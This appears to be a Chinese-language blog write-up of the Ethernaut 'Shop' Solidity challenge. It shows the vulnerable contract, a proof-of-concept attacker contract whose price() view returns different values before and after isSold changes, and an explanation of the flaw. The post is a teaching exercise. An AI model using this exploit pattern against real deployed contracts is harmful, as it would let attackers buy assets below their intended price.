Shop-wp
Shop-wp
合约可以以任何他们想要的方式操纵可看到的其他合约的数据。
根据外部和不受信任的合约逻辑更改状态是不安全的。
合约源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
POC
contract Buyer_Hack {
Shop immutable target;
constructor(address tar) {
target = Shop(tar);
}
function pwn() external {
target.buy();
require(target.price() == 99,"hack failed");
}
function price() external view returns (uint) {
if(target.isSold() == false) {
return 100;
}
return 99;
}
}
攻击原理:
在 Shop 合约中,要求我们最后设置的 price < 100 即可通关,而实际上,buy函数调用了两次_buyer.price()函数,也就是我们需要:第一次调用price()函数返回值>=100,第二次调用price()函数返回值 < 100。实际上,Shop 合约中的Buyer _buyer = Buyer(mag.sender)使得我们可以在我们的攻击合约中设计price()函数的逻辑,由于Buyer(msg.sender)的限制,所以攻击的逻辑,也必须要在我们实现price()这个合约中,这也是为什么pwn()函数要和price()必须在一个合约中。而想要实现两次调用price()返回值不同,因为price()函数是view类型,不能通过添加状态变量修改状态变量的形式,但是view是可以访问状态变量的,那么只要两次的状态变量不同,被其他逻辑修改便可以利用。比如在两次调用_buyer.price()的过程中,状态变量isSlod发生了变化,所以我们可以通过判断状态变量isSlod来实现两次调用price()返回值不同的操作
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Q1ngying!